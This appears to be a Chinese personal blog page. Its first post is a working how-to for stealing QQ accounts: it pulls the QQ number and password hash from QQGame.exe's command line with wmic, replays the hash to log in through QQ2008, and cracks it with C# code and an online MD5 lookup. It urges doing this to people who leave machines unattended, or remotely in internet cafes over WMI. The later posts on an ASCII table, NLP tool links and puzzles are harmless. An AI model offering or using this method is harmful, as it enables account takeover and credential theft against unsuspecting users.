Zhang Jiuan’ Notes

利用QQ游戏破解QQ密码

大家知道,当我们登录QQ后,可以直接在QQ上启动QQ游戏,这时候QQ游戏会启动,并以当前QQ用户进行登录,而不需要输入QQ号及密码。
 
我这个人应该算是比较善于思考的了(-^_^-),我想QQ肯定是通过某种方式把QQ号及密码信息传递给QQ游戏了。
 
我们来看一下QQ游戏的命令行(有的任务管理器可以直接看到):
 
打开命令提示符窗口
输入wmic 回车 (如果是第一次使用wmic,会提示正在安装,稍等几秒钟就行了)
然后输入process 回车
 
此时会显示所有的进程,找到QQ游戏(QQGame.exe),会发现其命令行有这样一段:
/START QQUIN:xxx PWDHASH:xxx
(也可以直接在命令行下输入wmic process where “Name=’QQGame.exe’” Get CommandLine)
 
此时其实已经可以算是破解成功了,因为你已经可以在命令行下输入以下内容进行登录了:
 
QQ.exe全路径 /START QQUIN:xxx PWDHASH:xxx
 
由于QQ2009之后已经不支持命令行登录了,所以需要使用QQ2008或更早版本(注意:这里只要求破解者使用QQ2008 ,被破解者则无要求,所以对破解而言是没有任何障碍的,你完全可以趁某人离开位置而没有关QQ时,用其QQ打开QQ游戏(当然,如果已经打开了,就不需要了),然后用上面的方法获得命令行,保存起来(例如保存到邮箱),然后回家慢慢破,呵呵(-@_@-)
 
现在我来解释一下:
QQUIN后面的相信你已经看出来了,其实就是QQ号,而PWDHASH是什么呢,它其实是密码通过MD5加密后,再经Base64转换而得的,C#代码如下:
 
string GetPWDHASH(string password)
{
    byte[] passwordBytes = Encoding.ASCII.GetBytes(password);
    byte[] md5Bytes = new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(passwordBytes);
    string base64 = Convert.ToBase64String(md5Bytes);
    return base64;
}
 
知道了加密原理,解密就不难了,但是由于MD5算法是哈希算法,不可逆的,所以我们只能获得其MD5值,没有十分有效的方法获得原始密码,获得MD5值的C#代码如下:
 
string GetMD5FromPWDHASH(string PWDHASH)
{
    byte[] md5Bytes = Convert.FromBase64String(PWDHASH);
    string md5 = BitConverter.ToString(md5Bytes).Replace(“-”, “”);
    return md5;
}
 
前面说到,MD5是不可逆的,但是也不是说完全不可破解,如果密码比较简单,可以采用暴力破解,不过我推荐使用在线MD5查询网站来破,比如http://www.cmd5.com。
 
当然,其实大可不必知道其真正的密码,因为你只需要知道其PWDHASH,你就已经可以使用该QQ进行登录了。
 
另外,现在有的网吧安全性比较差,可以直接使用WMI进行远程操作(WMI不在本文的讨论范畴,我只给一条命令,不作解释:/node:ip /user:administrator /password: “” process),这样就更爽了,只需要在网吧转一圈,观察哪些人在玩QQ游戏,然后就可以下手了,呵呵。
If you enjoyed this post, make sure [...]

ASCII码表详细解释

ASCII码表
Decimal Octal Hex Binary Value
(十进制) [...]

NLP常用开源/免费工具

最好的开源网站http://sourceforge.net/
项目前见有打对号的,是我已亲自尝试了,是可用且开源的。
*Computational Linguistics Toolbox
CLT http://complingone.georgetown.edu/~linguist/compling.html
GATE http://gate.ac.uk/
Natural Language Toolkit(NLTK) http://nltk.org
MALLET http://mallet.cs.umass.edu/index.php/Main_Page
*English Stemmer
Snowball http://snowball.tartarus.org/
*English POS Tagger
Stanford POS Tagger http://nlp.stanford.edu/software/tagger.shtml
TreeTagger http://www.ims.uni-stuttgart.de/projekte/corplex/TreeTagger/
*English Parser
Stanford Parser http://nlp.stanford.edu/software/lex-parser.shtml
Berkeley Parser http://nlp.cs.berkeley.edu/Main.html#Parsing
*English Keyphrase Extractor
KEA http://www.nzdl.org/Kea/index_old.html
*English Name Entity Recognizer
Stanford NER http://nlp.stanford.edu/software/CRF-NER.shtml
*Chinese Word Segmentator
[...]

NLP常用开源免费工具

NLP Toolbox
CLT http://complingone.georgetown.edu/~linguist/compling.html
GATE http://gate.ac.uk/
Natural Language Toolkit(NLTK)
http://nltk.org
MALLET http://mallet.cs.umass.edu/index.php/Main_Page
OpenNLP http://opennlp.sourceforge.net/
English Stemmer
Snowball http://snowball.tartarus.org/
English POS Tagger
Stanford POS Tagger http://nlp.stanford.edu/software/tagger.shtml
TreeTagger http://www.ims.uni-stuttgart.de/projekte/corplex/TreeTagger/
TnT http://www.coli.uni-saarland.de/~thorsten/tnt/
English&Chinese Parser
Stanford Parser http://nlp.stanford.edu/software/lex-parser.shtml
Berkeley Parser http://nlp.cs.berkeley.edu/Main.html#Parsing
English Keyphrase Extractor
KEA http://www.nzdl.org/Kea/index_old.html
English Name Entity Recognizer
Stanford NER http://nlp.stanford.edu/software/CRF-NER.shtml
Chinese Word Segmentator 中科院ICTCLAS http://www.nlp.org.cn/project/project.php?proj_id=6
Stanford Word Segmenter http://nlp.stanford.edu/software/segmenter.shtml
Topic Modeling Tools
Matlab [...]

野兽渡河问题

题目:有六只野兽A, a; B, b; C, c,其中A野兽为a的妈妈; B为b的妈妈;C为c的妈妈。大野兽和小b会划船,但小a和小c不会划船。一条船只能乘坐两只野兽。另外如果在船的任何一边或船上,只要任何一只小野兽离开了妈妈,又有其它的大野兽,那么它就会被吃掉。问有什么方案可保证六只野兽安全渡河。
答案:
以*号代表船,||代表河
A:a; B:b; C:c * ||
=>
A:a; B; C ||* b, c
=>
A:a;B:b; C * || c
=>
A; B; C || * a, b, c
=>
A; B:b; C*||a,c
=>
B:b||*A:a; C:c
=>
A:a; B:b*||C:c
=>
A:a||*B:b; C:c
=>
A:a; C:c*||B:b
=>
a,c||*A; B:b;C
=>
a,b,c*||A;B;C
=>
a||*A;B:b;C:c
=>
a,b*||A;B;C:c
=>
||*A:a;B:b;C:c
If you enjoyed this post, make sure you subscribe to my RSS feed!

从一道题目谈计算机和数学

    统计从1至400亿之间的自然数中含有多少个1?比如1-11中,有1,10,11这三个自然数有4个1。
    拿到这道题目,您会如何去计算呢?如果是计算机方面的面试,你又该如何去思考呢?也有同事拿这道题目谈到了“数学”与“数感”的理解,不过笔者却想谈一些更实际一些东西。
    如果是计算机方面的出现这道题目,我们可能首先想到的是挨个去找。比如1含有一个1,然后2不含有1,…10含有1个1, 11含有2个1,….直到4亿。实际去想想,可能还有第二种方法,即对于每一个数字,转换成一个字符串,然后查里面的1,这或许处理的时候简单一些,但思路基本一致。
  方法二:对于每一个数字,首先转换成字符串,然后查询里面的1的个数,然后求合。这实际上没有实质的进步,无论计算复杂度还是难度,都没有质的简化。实际上如果仔细观察的话,我们会发现给出的一个有效数字是4亿,也意味着除了最高位是4位,其它全是0,那么由此可以知道它的位数是9位以内的,如果是9位,最高位只可能是1、2、3。有了这些信息我们就可以进一步分析了。
    如果数字为9位,那么最高位只可能是1, 2, 3。如果最高位是1,那么剩余的8位可能含有1-8个1。因此进行分类分析。
    剩余8位含有1个1的情况:2 * C(8, 1) * P(7, 7)。
    剩余8位含有2个1的情况:3 * C(8, 2) * P(6, 6)。
    ….
    然后将上面的值进行求合。
    最高位是2, 3则可以进行类似计算,实际注意一下规范,可以利用上面的结果的。
    我们再考虑一下其它情况,即含有1 - 8位的情况。我们假设含有N位,以此来进行说明。
    最高位可能是1, 也可能是2-9,位不可能是0。因此可以利用上面类似的算法。
    S(N) = 2 * C(N-1, 1) + 3 * C(N-1, 2) …. + (N-1) * C(N-1, N-1) + 8*(1 * C(N-1, 1) + [...]

,

返回顶部